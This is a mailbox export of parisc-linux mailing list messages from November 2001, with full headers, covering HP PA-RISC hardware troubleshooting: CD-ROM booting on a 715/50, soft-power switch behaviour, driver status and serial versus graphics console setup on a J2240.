X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13205

Hi,

perhaps someone can help me with that problem, I have a 715/50 which is
reporting:

PDC ROM rev. 1.3
IODC ROM rev. 1.1
96MB RAM

I have attached an externel SCSI CD-ROM. On Power on, it finds two devices,
the internal Quantum disk on scsi.6.0 and the CDROM on scsi.5.0. But it
refuses to boot from the CD rom. I tried a 0.9 Debian Image and Original
HP-UX 9.0 and 10.20 Disks.

If I do a "search" in boot admin, it does not list me any "bootable media".

Looks to me, like it is seeing the CDROM, but unable to find the IPL on it?

Well... anybdy has an idea what to do?

I thought the Firmaware may be the problem, but I dont know where i see the
firmware revision and how to update it.. 

info tells me:

processor revision = 9
system controller = 0
FP CoPro revision = 1

HW Version = 0x3100
SW Version = 0x0481

Greetings
Bernd



From - Thu Nov 08 21:20:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/50 does not find image on cd
Date: Sat, 24 Nov 2001 15:14:45 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20011124151445.L1307@parcelfarce.linux.theplanet.co.uk>
References: <20011124160748.B18913@lina.inka.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620802 30782 80.91.229.3 (22 Nov 2014 01:46:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bernd Eckenfels <lists@lina.inka.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 24 08:14:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88870482C
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Nov 2001 08:14:47 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 167eVx-0001WG-00; Sat, 24 Nov 2001 15:14:45 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011124160748.B18913@lina.inka.de>; from lists@lina.inka.de on Sat, Nov 24, 2001 at 04:07:48PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13206

On Sat, Nov 24, 2001 at 04:07:48PM +0100, Bernd Eckenfels wrote:
> I have attached an externel SCSI CD-ROM. On Power on, it finds two devices,
> the internal Quantum disk on scsi.6.0 and the CDROM on scsi.5.0. But it
> refuses to boot from the CD rom. I tried a 0.9 Debian Image and Original
> HP-UX 9.0 and 10.20 Disks.

firmware won't boot from all drives; try a different cdrom drive or netboot.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Soete Joel <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Future of parisc development? (continu branch  2.4 or change to 2.5)
Date: Sat, 24 Nov 2001 21:16:33 +0000
Lines: 8
Approved: news@gmane.org
Message-ID: <3C000E31.A1B04897@freebel.net>
References: <3BB0ABC3.5DFC617E@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620802 30786 80.91.229.3 (22 Nov 2014 01:46:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 24 14:08:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm1.tiscalinet.be (spoolm1.tiscalinet.be [212.35.2.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF60C482C
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Nov 2001 14:08:41 -0700 (MST)
Original-Received: from [213.151.47.167] (helo=freebel.net)
	by spoolm1.tiscalinet.be with esmtp (Tiscalinet) 
	id 167k2R-0006va-00; Sat, 24 Nov 2001 22:08:40 +0100
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.14 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13207

Hi all,

Just stay inform.

Thanks for info,
	Joel



From - Thu Nov 08 21:20:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] My C200 situation is fantastic now on to the K9000 Power House :)
Date: Sun, 25 Nov 2001 12:16:29 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <200111251916.MAA02176@puffin.external.hp.com>
References: <chrisc@wias.net.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620802 30788 80.91.229.3 (22 Nov 2014 01:46:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Chris Christie" <chrisc@wias.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 25 12:21:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id AFDD5482C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Nov 2001 12:21:02 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA02176;
	Sun, 25 Nov 2001 12:16:29 -0700
In-Reply-To: Message from "Chris Christie" <chrisc@wias.net.au> 
   of "Thu, 22 Nov 2001 20:47:48 +1000." <001401c17343$20b01be0$c901a8c0@wias.net.au> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13208

"Chris Christie" wrote:
> Grant you caused us to perservere with these boxes until now thanks and
> hopefully [Im very confident] the K9000's are back in style!

Glad to hear I was so inspirational...but lots of other people did
 most of the work. For K/C-class, most of the recent work
was done by Ryan Bradetich.

> ps. Will forward K9000 results :)

You do mean HP-9000? K-class?

anyway...it's does good to hear that it's working for you.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253



From - Thu Nov 08 21:20:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power button on 712
Date: Sun, 25 Nov 2001 12:21:23 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <200111251921.MAA02216@puffin.external.hp.com>
References: <jbglaw@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620803 30790 80.91.229.3 (22 Nov 2014 01:46:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 25 12:25:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 61F27482D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Nov 2001 12:25:52 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA02216;
	Sun, 25 Nov 2001 12:21:23 -0700
In-Reply-To: Message from Jan-Benedict Glaw <jbglaw@lug-owl.de> 
   of "Thu, 22 Nov 2001 14:53:04 +0100." <20011122145304.F23305@lug-owl.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13209

Jan-Benedict Glaw wrote:
> But, after the OS was started,
> it's not such a good idea to allow an user to simply fiddle with
> the BRS (-> big red switch).

While that's true, the intent of the "soft-power" switch was in fact
to let a normal user safely power off the system. THe system needs
to poll the status of the switch and at some point decide it's
time to power off the box. I don't think docs for "soft power"
have been published. I have passed necessary information to
a few folks who've signed NDAs.

grant



From - Thu Nov 08 21:20:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/50 does not find image on cd
Date: Sun, 25 Nov 2001 12:56:24 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <200111251956.MAA02318@puffin.external.hp.com>
References: <lists@lina.inka.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620803 30792 80.91.229.3 (22 Nov 2014 01:46:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bernd Eckenfels <lists@lina.inka.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 25 13:00:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE80A482E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Nov 2001 13:00:50 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA02318;
	Sun, 25 Nov 2001 12:56:24 -0700
In-Reply-To: Message from Bernd Eckenfels <lists@lina.inka.de> 
   of "Sat, 24 Nov 2001 16:07:48 +0100." <20011124160748.B18913@lina.inka.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13210

Bernd Eckenfels wrote:
> If I do a "search" in boot admin, it does not list me any "bootable media".
> Looks to me, like it is seeing the CDROM, but unable to find the IPL on it?

Search the parisc-linux mail archive for "spinup" or "target initiated
negotiation". It might be possible to make this drive work with
the older boxes but it's probably easier to just try a different one.

> I thought the Firmaware may be the problem, but I dont know where i see the
> firmware revision and how to update it.. 

See #7 on the FAQ
http://www.parisc-linux.org/faq/index.html

grant



From - Thu Nov 08 21:20:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Status E55 - is the driver accepted ?
Date: Sun, 25 Nov 2001 23:16:41 +0100
Organization: private
Lines: 21
Approved: news@gmane.org
Message-ID: <3C016DC9.980D5409@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620803 30794 80.91.229.3 (22 Nov 2014 01:46:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:43 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>,
	marteaut@esiee.fr, grundler@puffin.external.hp.com,
	ryan_bradetich@uswest.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 25 15:16:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep11-int.chello.at (viefep11-int.chello.at [213.46.255.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87F7A4831
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Nov 2001 15:16:43 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep11-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20011125221641.WLAZ1234.viefep11-int.chello.at@gmx.at>;
          Sun, 25 Nov 2001 23:16:41 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13211

Hello PARISC "Hackers" !!

What's the status of the PDC ROM tty driver ?

Ryan Bradetich told me, that he has tested it and added the
config stuff. 

By the way: I cannot reach Ryan Bradetich, his email address
seems to be wrong !!!!

With friendly regards
Christoph P.


-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:20:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig D. Lansing" <lansing@beldar.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J2240 - It Runs!
Date: Sun, 25 Nov 2001 20:47:49 -0500
Lines: 78
Approved: news@gmane.org
Message-ID: <00fe01c1761c$5bf18000$0101a8c0@pogo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_00FB_01C175F2.71C42560"
X-Trace: ger.gmane.org 1416620804 30796 80.91.229.3 (22 Nov 2014 01:46:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:44 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 25 18:47:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beldar.com (ns.beldar.com [65.163.106.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id F3C22492D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Nov 2001 18:47:31 -0700 (MST)
Original-Received: from pogo (dhcp-134.beldar.com [65.163.106.134])
	by beldar.com (8.9.3/8.9.3) with SMTP id VAA86090
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Nov 2001 21:01:08 -0500 (EST)
	(envelope-from lansing@beldar.com)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13212

This is a multi-part message in MIME format.

------=_NextPart_000_00FB_01C175F2.71C42560
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

In case anyone cares, I finally got back to my J2240 (the one that was =
rescued from the trash) this weekend and have gotten it successfully =
running with a dual-boot HP-UX 10.20 / Linux 2.4.0-32 configuration.  =
The Debian install was a bit choppy, i.e. many "hangs" from which only =
pulling out power from underneath the box solved, but I eventually got =
there.  Even from a cold boot, the install would hang in different =
places.  I'm having major problems with the package installer hanging =
which causes me to have to power cycle the box and run fsck to recover, =
but the basic system is up and running.  Maybe I'll go to the latest =
kernel to see what that does to / for me.  So far, I've only been able =
to connect to the serial port via a Reflection session to login to the =
system after getting through the boot path & IPL on the attached =
graphics terminal.  Does anyone know how to use the graphics terminal =
exclusively?  I assume that I need to change some of the IPL parms, e.g. =
sti=3D or console=3D, but I do not know what values to use.  Any help =
would be appreciated.

TIA,
Craig


------=_NextPart_000_00FB_01C175F2.71C42560
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>In case anyone cares, I finally got =
back to my=20
J2240 (the one that was rescued from the trash) this weekend and have =
gotten it=20
successfully running with a dual-boot HP-UX 10.20 / Linux 2.4.0-32=20
configuration.&nbsp; The Debian install was a bit choppy, i.e. many =
"hangs" from=20
which only pulling out power from underneath the box solved, but I =
eventually=20
got there.&nbsp; Even from a cold boot, the install would hang in =
different=20
places.&nbsp; I'm having major problems with the package installer =
hanging which=20
causes me to have to power cycle the box and run fsck to recover, but =
the basic=20
system is up and running.&nbsp; Maybe I'll go to the latest kernel to =
see what=20
that does to / for me.&nbsp; So far, I've only been able to connect to =
the=20
serial port via a Reflection session to login to the system after =
getting=20
through the boot path &amp; IPL on the attached graphics terminal.&nbsp; =
Does=20
anyone know how to use the graphics terminal exclusively?&nbsp; I assume =
that I=20
need to change some of the IPL parms, e.g. sti=3D or console=3D, but I =
do not know=20
what values to use.&nbsp; Any help would be appreciated.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>TIA,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Craig</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_00FB_01C175F2.71C42560--




From - Thu Nov 08 21:20:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240 - It Runs!
Date: Sun, 25 Nov 2001 20:57:19 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <200111260357.UAA02910@puffin.external.hp.com>
References: <lansing@beldar.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620804 30799 80.91.229.3 (22 Nov 2014 01:46:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Craig D. Lansing" <lansing@beldar.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 25 21:02:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D3BD611F
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Nov 2001 21:02:20 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id UAA02910;
	Sun, 25 Nov 2001 20:57:19 -0700
In-Reply-To: Message from "Craig D. Lansing" <lansing@beldar.com> 
   of "Sun, 25 Nov 2001 20:47:49 EST." <00fe01c1761c$5bf18000$0101a8c0@pogo> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13213

"Craig D. Lansing" wrote:
> Maybe I'll go to the latest kernel to see what that does to / for me.

I think you'll be alot better off.

>  So far, I've only been able
> to connect to the serial port via a Reflection session to login to the =
> system after getting through the boot path & IPL on the attached =
> graphics terminal.

You probably have the palo param "console=ttyS0" and that's why
it's switching to serial console. Palo documentation suggests
using "console=tty" for auto-detecting the console.

>   Does anyone know how to use the graphics terminal =
> exclusively?  I assume that I need to change some of the IPL parms, e.g. =
> sti=3D or console=3D, but I do not know what values to use.  Any help =
> would be appreciated.

With 0.9.2, if the graphics head were recognized and has a working
STI ROM, I would expect the console to remain on the graphics head.

Caveat: this is from one of the few people who *only* uses serial
consoles on hppa-linux.

grant




From - Thu Nov 08 21:20:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Anderson <andersop@neverland.ncssm.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] bad local loopback (and 712 X query)
Date: Mon, 26 Nov 2001 01:50:42 -0500 (EST)
Lines: 45
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0111260140330.4886-100000@bob.ncssm.edu>
References: <006901c16ca9$78c16e60$0101a8c0@pogo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620804 30801 80.91.229.3 (22 Nov 2014 01:46:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:44 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 25 23:54:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bob.ncssm.edu (bob.ncssm.edu [152.34.37.42])
	by dsl2.external.hp.com (Postfix) with SMTP id B6775601D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Nov 2001 23:54:31 -0700 (MST)
Original-Received: (qmail 4901 invoked by uid 20004); 26 Nov 2001 06:50:42 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 26 Nov 2001 06:50:42 -0000
X-X-Sender: <andersop@bob.ncssm.edu>
In-Reply-To: <006901c16ca9$78c16e60$0101a8c0@pogo>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
